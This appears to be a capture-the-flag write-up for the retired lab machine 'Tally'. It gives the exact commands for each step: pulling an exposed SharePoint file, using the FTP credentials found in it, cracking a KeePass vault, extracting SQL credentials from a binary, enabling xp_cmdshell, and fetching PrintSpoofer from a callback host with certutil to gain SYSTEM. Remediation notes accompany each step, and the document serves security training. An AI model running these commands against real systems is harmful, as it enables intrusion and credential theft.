Tally
Summary
Initial recon of <retired-instance-ip> showed IIS 10.0 redirecting to default.aspx with X-SharePointHealthScore headers, identifying a Microsoft SharePoint 2013 (WSS) site, alongside an open FTP service (port 21). Direct SharePoint REST API enumeration (_api/web/lists, GetFolderByServerRelativeUrl, webinfos) was blocked by UnauthorizedAccessException, but anonymously-browsable pages under /Shared%20Documents/Forms/AllItems.aspx exposed a document library. A file named ftp-details.docx was pulled directly (unauthenticated GET) and unzipped, revealing FTP credentials (ftp_user, password UTDRSCH53c"$6hys) and the hostname tally / workgroup htb.local.
Authenticating to FTP with those creds exposed several shares, including a User/Tim/Files directory containing a KeePass 2.x database (tim.kdbx, AES/SHA-256, 6000 rounds). The KDBX hash was extracted with [REDACTED: recovered credential] and cracked offline (rockyou-class wordlist) to the master password [REDACTED: recovered credential]. Opening the vault with pykeepass revealed several stored credentials, most importantly an SMB share account: Finance:[REDACTED: recovered credential]`.
Those SMB creds authenticated to the TALLY host (Windows Server 2016 Standard 14393, SMBv1 enabled, signing disabled) and granted read access to the ACCT share. Deep inside zz_Migration\Binaries\New folder sat tester.exe, a MSSQL client/test utility with a hardcoded database connection string. Extracting the embedded SQL Server credentials from the binary allowed authentication to the local MSSQL instance via Impacket's mssqlclient.py. xp_cmdshell was disabled by default but re-enabled via sp_configure (standard MSSQL privesc primitive requiring only sysadmin/db-owner rights, no CVE), yielding OS command execution as the SQL Server service account — confirmed via whoami/hostname — and user.txt was read directly from C:\Users\... through xp_cmdshell + PowerShell.
Privilege escalation to NT AUTHORITY\SYSTEM used the classic PrintSpoofer (SeImpersonatePrivilege abuse against the Print Spooler RPC named-pipe, the token-impersonation techniques of the "Potato" family) — PrintSpoofer64.exe was staged via certutil -urlcache to C:\Windows\Temp, then executed with -c to spawn a privileged command that captured root.txt (first attempt against C:\Windows\Temp was retried writing to C:\ProgramData to work around a permissions/redirection issue), confirming root ownership.
Attack path — how the box was taken
Exact commands 2
nmap -sC -sV -p- --open -T4 $TARGET -oN tally_full.nmapcurl -sI http://$TARGET/Exact commands 3
curl -sS 'http://$TARGET/Shared%20Documents/Forms/AllItems.aspx' | grep -oP 'href="[^"]*\.docx"'curl -sS -L -o ftp-details.docx 'http://$TARGET/Shared%20Documents/ftp-details.docx'unzip -p ftp-details.docx word/document.xml | sed 's/<[^>]*>//g'FixRequire authentication to access SharePoint document librariesCritical
Exact commands 3
curl --user 'ftp_user:UTDRSCH53c"$6hys' 'ftp://$TARGET/User/Tim/Files/tim.kdbx' -o tim.kdbxkeepass2john tim.kdbx > tim.hash && john --wordlist=/usr/share/wordlists/rockyou.txt tim.hashpython3 -c "from pykeepass import PyKeePass; kp=PyKeePass('tim.kdbx', password=[REDACTED: credential]); [print(e.title, e.username, e.password) for e in kp.entries]"FixEnforce a strong KeePass master password and restrict vault file storageHigh
Exact commands 3
nxc smb $TARGET -u Finance -p '[REDACTED: recovered credential]' --sharessmbclient '//$TARGET/ACCT' -U 'Finance%[REDACTED: recovered credential]' -c 'cd zz_Migration\Binaries\"New folder"; get tester.exe'strings tester.exe | grep -iE 'server|uid|pwd|password|data source|initial catalog'FixRemove hardcoded credentials from application binaries and audit network shares for credential exposureCritical
Exact commands 3
impacket-mssqlclient 'sa:<sa_password>@$TARGET' -windows-authEXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;EXEC xp_cmdshell 'powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-ChildItem -Path C:\Users -Filter user.txt -Recurse -Force -ErrorAction SilentlyContinue | Get-Content"';FixPermanently disable xp_cmdshell and enforce least-privilege SQL Server accountsHigh
Exact commands 4
python3 -m http.server 9000EXEC xp_cmdshell 'certutil -urlcache -f http://$CALLBACK_HOST:9000/PrintSpoofer64.exe C:\Windows\Temp\ps.exe';EXEC xp_cmdshell 'cmd /c del C:\ProgramData\r.txt 2>nul'; EXEC xp_cmdshell 'cmd /c C:\Windows\Temp\ps.exe -c "cmd /c whoami > C:\ProgramData\r.txt & type C:\Users\Administrator\Desktop\root.txt >> C:\ProgramData\r.txt & icacls C:\ProgramData\r.txt /grant Everyone:F"';EXEC xp_cmdshell 'cmd /c type C:\ProgramData\r.txt';FixRun SQL Server under a Managed Service Account and eliminate unnecessary token-impersonation privilegesHigh
Attack patterns used
The transferable techniques behind this compromise.
SeImpersonate Abuse (Potato family)Windows · Privilege EscalationT1134.002
What it is
Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. The 'Potato' exploits (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) coerce a SYSTEM process to authenticate to an user-controlled COM/RPC/named-pipe endpoint, then impersonate that SYSTEM token — escalating from the service account to NT AUTHORITY\SYSTEM.
Why it works
Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.
Read more
Findings
Exposed services
| 21/tcp | ftp |
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 81/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 445/tcp | microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds |
| 1433/tcp | ms-sql-s Microsoft SQL Server 2016 13.00.1601.00; RTM |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 32843/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 32844/tcp | ssl/unknown |
| 32846/tcp | msexchange-logcopier Microsoft Exchange 2010 log copier |
| 47001/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 49668/tcp | unknown recon-sweep-discovered |
| 49669/tcp | unknown recon-sweep-discovered |
| 49670/tcp | unknown recon-sweep-discovered |